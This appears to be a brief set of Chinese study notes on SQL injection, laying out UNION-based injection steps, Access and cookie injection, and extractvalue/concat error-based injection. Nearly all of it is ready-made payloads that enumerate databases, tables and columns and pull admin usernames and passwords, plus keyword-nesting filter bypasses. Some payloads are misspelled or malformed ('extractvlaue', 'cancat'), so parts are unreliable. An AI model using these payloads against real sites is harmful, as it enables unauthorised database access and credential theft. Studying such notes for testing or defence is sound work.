SQL注入
union联合注入 第一步 判断注入点 ?id=1 and 1=1 ?id=1 and 1=2
?id=1 and 'a'='a' ?id=1 and 'a'='b'
第二步 判断自然数 ?id= 1 order by 1 2 3 ...... 看看有几列存在
第三步 判断回显点 ?id=1 union select 1,database
可以在前面加上查询不到的来查找想查找的结果
?id=1.2 union select 1,database ?id=1 and 1=2 union select 1,database
第四步 查询相关内容
猜询数据库版本
and 1=2 union select 1,version()
猜询数据库
and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1
猜询表名
and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
and 1=2 union select 1,table_name from information_schema.tables where table_schema='库名'limit 0,1
查询字段名
and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin'limit 0,1
查询字段内容
and 1=2 union select 1,username from admin
参数过滤可使用 un union ion seselectlect 类似的绕过
access联合注入 union select 1,2,3,4,5,6,7,8,9,10 from admin
exists函数 exists(select username from admin)
union select 1,2,3,4,5,6,username,password,9,10 from admin
cookie注入 modheader 改cookie的值 空格用加号代替
报错注入
extractvalue() 对xml的文档进行查询的函数示出来
select extractvlaue(目标xml文档,xml路径)
select extractvlaue(1,0x7e)
concat()将多个字符串连接成一个字符串
select cancat(str1,str2...)
select concat('~',(select database()))
'and select extractvalue (1,concat('~',(select database())))